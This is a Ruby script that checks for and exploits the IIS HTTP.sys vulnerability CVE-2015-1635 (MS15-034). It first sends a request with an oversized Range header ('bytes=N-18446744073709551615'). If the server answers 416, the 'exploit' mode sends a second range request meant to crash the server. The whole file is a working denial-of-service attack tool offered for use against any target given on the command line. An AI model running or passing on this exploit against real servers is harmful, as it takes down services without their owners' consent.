#!/usr/bin/env ruby 
#
# CVE-2015-1635 | MS15-034 | IIS - HTTP protocol stack (HTTP.sys) - DoS
# KING SABRI | @KINGSABRI
# 
require 'net/http'
require 'open-uri'

if ARGV.size >= 1
  host   = ARGV[0]
  action = ARGV[1] || "check"
  port   = ARGV[2] || 80
  path   = "/"
else 
  puts "ruby #{__FILE__} <TARGET> [check|exploit] [PORT] [PATH]"
  exit
end


def send_request(host, port, path, lower_range)
  
  begin 
    uri = URI.parse("http://#{host}/")
    headers = 
        {
          "User-Agent"      => "Rubyfu.net",
          "Accept-Encoding" => "gzip, deflate",
          "Accept"          => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
          "Range"           => "bytes=#{lower_range}-18446744073709551615",  # Exploit Core
          "Connection"      => "keep-alive"
          }
    
    http = Net::HTTP.new(host, port)
#     http.read_timeout = 5
#     http.open_timeout = 5
    request = Net::HTTP::Get.new(path, headers)
    response = http.request(request)
    
  rescue Errno::ECONNREFUSED
    puts "[!] Service is not running on the given port"
  rescue Exception => e
#     p e
  end
  
end


response = send_request(host, port, path, 0)

# TODO: Find better way to know the default image name
iis_version = response.each_header.to_h["server"]
if iis_version == "Microsoft-IIS/8.5"
  path = "/iis-85.png" # IIS 8.x
else
  path = "/welcom.png" # IIS 7.x
end

#
# Server is vulnerable if responses with: 416 (Requested Range Not Satisfiable) 
#
if response.code.to_i == 416 
  
  if action == "exploit"
    
    puts "[+] Host is vulnerable!"
#     lower_range = 99708 #response.body.size - 2
    lower_range = 10000 
    puts "[+] Sending DoS request..."
    send_request(host, port, path, lower_range)
    exit 
  else
    puts "[*] IIS version: #{iis_version}"
    puts "[*] Server message: " + response.message
    puts "[*] Server code: " + response.code
    puts "[+] Server is vulnerable!"
    puts "[-] You can use 'exploit' switch to crash the target"
    exit
  end
  
else
  puts "[*] Target is not vulnerable ;("
end

